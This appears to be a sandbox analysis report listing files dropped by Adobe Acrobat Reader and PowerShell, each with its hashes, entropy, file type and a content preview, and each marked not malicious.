SHA-256:	7AE32C672D2118DB9A5C1761ABE2049CB6FD79D9ECD2DA52ECB4A24C8B270F2F
SHA-512:	C658A15FE012520D85A27D6C155AEC336B154519088CD99F7D38C325D487DA6B8A45446C05EC4B850BE21B41CC6D74D00435400DF1CEB2573219DD236DC6783B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80ae9b56-dfe8-4af2-8b15-ae43f9b904e6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709765075,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6576814841078695
Encrypted:	false
SSDEEP:	24:Yv6XsjgFijamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSF:YvT/TBgkDMUJUAh8cvMF
MD5:	136650CCB5BB4E12A02A1F0CC8AF06A5
SHA1:	8D04FEDC9A5D43D113A0EE26C3D909BCFA55949B
SHA-256:	18F868EEB5F6223BD6EB4D51724AEDBD5CA225A82A71E3BB7CD2CFDBA6432685
SHA-512:	33E05F26056E593ECFE5853B901C828DC4007EB6F30494D535114822D69EF323E55FA3747ACDFB5EE60F2DE6DAE7F06944FA899CFED172CCF468B5250DB288EA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80ae9b56-dfe8-4af2-8b15-ae43f9b904e6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709765075,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.238625265873018
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPuk8djikmnx+FIbRI6XVW7+0YUoAvJfshHHrPeUkwRe9:YvXKXcdjgUYpW7GGUUUkee9
MD5:	341B6EAA7223187F69F4A1E9D9A933BC
SHA1:	5C17BF1314A57DA81F93B85091F030AADBDF48AD
SHA-256:	C27DCFBB45A0A723A24DF404760FCBF0A93C05899E50C9BB23AE472590D5CD93
SHA-512:	B41E5789C227DE5D748DE94F287171DF4341031AC104ADAE05EF8F87D5BCAB32D0664B36DCD766B4D7C80BB3371ABDC32CEF293662B48D602BB2C3E2BDF24938
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80ae9b56-dfe8-4af2-8b15-ae43f9b904e6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709765075,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.253622370550673
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPuk8djikmnx+FIbRI6XVW7+0YUoAvJTqgFCrPeUkwRe9:YvXKXcdjgUYpW7GGTq16Ukee9
MD5:	2E37A54E224E0AEA1C3EE5362BA267BB
SHA1:	34182B9D3526B7F3A6652DC6846D0B3909334A16
SHA-256:	2A83C490FCDD56012AFFA3B7AA9581429F522A7684A0A0EC6291E329C9802EEB
SHA-512:	A015A3FCFB00544D1E9BC441A907952AF0BF22D15D9B93096675E0178A40777C255D9F4060C1A591A3816E2D9800E56BE4517BC4A3A74DFD831408A03882E538
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80ae9b56-dfe8-4af2-8b15-ae43f9b904e6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709765075,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.122146601094911
Encrypted:	false
SSDEEP:	24:YyxHa0c5ayKWbDlQqzlPVRO5M7IB4hjdxj0Sb2z2S2LSlCeZUZE7LLA5aI98w910:YmcrlQMlPVUQ82d1cn/hZUZE7LM996Kc
MD5:	199F3C78C1790AB0FD905720E88F903A
SHA1:	CF27CF771AADC6948C1D88FFE81C9C2AF6297B4E
SHA-256:	952788B8C93A44D1DCF80EFFF20C7EA1062302D217151A35B394AE0AACAAC243
SHA-512:	D3E04846FED1D70EDFE94F709E214F0466E92458DCAC0CAA9715FCFD0F2B4298FB1C053113CA8DA9ACE354F1A9CD29B7476C0D7532A1B6DA177EC8E65A6C6106
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"0a073e5b49b20f01f38a1db70c0c7e98","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736531204000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"1e7cba19e9f31434d0ef21289f5a1a1f","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736531204000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"e79579096d9f7e6d157bada5aed2caaa","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736531204000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"b6a51ebd86079a001df4eefb9d83c92e","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736531204000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"ce365f60a8630401f3562ffb640d1313","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736531204000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"4c697e61eaffae8c3018315a0dfdf352","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9824638264201665
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Spc4zJwtNBwtNbRZ6bRZ45F:TVl2GL7ms6ggOVpHzutYtp6Pi
MD5:	D3719A5248AAA7E6F2D456B3A08ACA1C
SHA1:	6B406952B10B4F9458319F931BCB2FDCDCF12976
SHA-256:	28E2FE2DDCDE74DF317DF250596A3FA32F3CA66C290C48600AAF1A6E85BA1B2C
SHA-512:	28519785CC197BA0A42824A1B44933CE1C31B4672F933CE86E0B3124973E2C41ED9C61BAB7B55C366D725DDDADCBDF13BB00EA16AC10F741EB5369F75882FDBA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3383375420602404
Encrypted:	false
SSDEEP:	24:7+tuAD1RZKHs/Ds/SpcPzJwtNBwtNbRZ6bRZWf1RZK6qLBx/XYKQvGJF7ursV:7MuGgOVpgzutYtp6PM3qll2GL7msV
MD5:	6F480D44D3B71F253A664D4F4D3A6E1C
SHA1:	63FFECB01498ACEE1BFE0A4585058A1EBB7B3D88
SHA-256:	91F81F8878AE8494D1CFF9169FAE66386B84B7EB61DEEF76CEE8D7338E4CA863
SHA-512:	3FB8AAB9633340D0BDC3A2651AF832F3ED3CA8C0850FE930D492BB4D6D6C6776A15253D8647B7863CDB8526605A108ECDFBE26082FD1E6F5CB234A265B63556B
Malicious:	false
Preview:	.... .c......\........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgaXo8Y2qDihNq2XmivoH+5QPxeZUYyu:6a6TZ44ADEaXm2Gihw2XmFlDK
MD5:	85F800E0671881B19F5BDB75790C6D46
SHA1:	B3EF3BAA70307A79D8285323C2332438467C311A
SHA-256:	B14DFA423CF4A2DB489229FCCC602ABAC3BBAF8C2DB51FE14E3C8E36BD15F763
SHA-512:	C52E491F8065ED095F139F6D35097269688357DE57C63D1FD91FEE9A13F7E70A1862809121F043505D0D99D51F6AD24B6EC86A6307414CD4996CD02420B0FCF5
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIde548.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE3Qe:Qw946cPbiOxDlbYnuRK+bD3l
MD5:	9D5E748C3CDA60F612E001F02D5BB3B6
SHA1:	699EA772434D8E667A1E0967858CEC9689E75188
SHA-256:	C58ADD9253315E818FF6495B1007FBA5B097EB9E0389F57F74A17DF3B11402CC
SHA-512:	A84B67FBC66BA1EC3380BF7A1E7ADAC17C6D37A9D3E3B80629B33C8BAF75119D3EDC009C5EC90A207D71D296E3D967019AE534A7BE5A2895B7E7A6F8AE6E4F49
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.2.:.4.6.:.4.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hl2w2yng.mv4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wxtlc4av.md1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 12-46-40-419.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (392), with CRLF line terminators
Category:	dropped
Size (bytes):	15090
Entropy (8bit):	5.29427883099753
Encrypted:	false
SSDEEP:	384:O1hUZ9A6gMnfKl7eiVS1DeYBpesqZGWpg/sSVGVYVQVgV3IhsfpDydkxyMsVslEb:Ns0c2KmO
MD5:	0211CF49A2DA83970C98D4AB36CC0C16
SHA1:	EECD5C0EE99E55C1CFC62BFB2384E0A4EDE4DCB0
SHA-256:	3F50348D118C0ADA21392803F05A8DD04EA0A25E78CBAFDE3D7AF2300E51FF63
SHA-512:	0065D54C7C4DACAE76EECFA51D5CBD111FFA26120BFCC781ABED0612FE94CF330BDB646A28D9BC1E3EA310414A4DE419C11341F481B4E80A501E2308AC7BF914
Malicious:	false
Preview:	SessionID=2aebdade-bd4b-4f63-b1ab-ce0d4d16f2e3.1736531200443 Timestamp=2025-01-10T12:46:40:443-0500 ThreadID=7660 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=2aebdade-bd4b-4f63-b1ab-ce0d4d16f2e3.1736531200443 Timestamp=2025-01-10T12:46:40:444-0500 ThreadID=7660 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=2aebdade-bd4b-4f63-b1ab-ce0d4d16f2e3.1736531200443 Timestamp=2025-01-10T12:46:40:444-0500 ThreadID=7660 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=2aebdade-bd4b-4f63-b1ab-ce0d4d16f2e3.1736531200443 Timestamp=2025-01-10T12:46:40:444-0500 ThreadID=7660 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=2aebdade-bd4b-4f63-b1ab-ce0d4d16f2e3.1736531200443 Timestamp=2025-01-10T12:46:40:444-0500 ThreadID=7660 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.395237141654602
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbz:U0
MD5:	96659681E4D3E47D216DA29B2C04786A
SHA1:	EA42ADA361438DF98EF8A53F15B204414946DE4E
SHA-256:	4ED1A297485150616EFCDE55A41BBEF71D16BC65A44DDC88FF7B6C9B270E1F93
SHA-512:	809FA20064CFD8EC4E382FBF8C838D5097D01DB43DB30C568B300D448C8F1BE84325116394985C1E99568114CA2B3411621DA5A5661B58903EC3D2ACC4AF0734
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0417a46a-3658-4c2e-b1bf-41dbc06089f5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\5ce9378b-0d90-465b-88ad-6d3adb58e691.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xLtwYIGNPzWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tGZd:JJwZG5WLxB3mlind9i4ufFXpAXkrfUsb
MD5:	D38CB76360DDA78820460E5C5F20061C
SHA1:	F2B65831130B70F2A3DC345F70C4BEEDE9AB40E8
SHA-256:	55E70B5D5F8BE28D648BCDFE7DEB02BF4BBE2F626D620D4D838E0FA4FBF45F8E
SHA-512:	5E31738169A6FE92062B0E582489DEEAC2FA1798965DED94EFA994965470A15B5095851701E4DF631C5EC4454913272F1156EC46B32DA782D3C0F9E490C129A1
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\75d823d5-9ef3-4a03-8065-b6df8d7a023a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/M7ouWLYZwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:RuWLYZwZGuGZn3mlind9i4ufFXpAXkru
MD5:	EC8D4FAB55F24C0E344D263724846C4A
SHA1:	5444D90F86D68A23AF7FB5434DEAE740D57D0312
SHA-256:	E489C11D38BFF8F1F51351BAEBEE9F723A5C036DA0B0CB9C82306251017054EE
SHA-512:	21018FD299944987654C202779C8E0185815868DE7179B814F145573EE8D45ACC33CA7E008CB23774C473DD7939E9D7D7C2E5A14E31D5EC62F7BFFDBBAB41F9A
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e3f33c05-d0db-4da7-ad02-d44ab514dc2d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
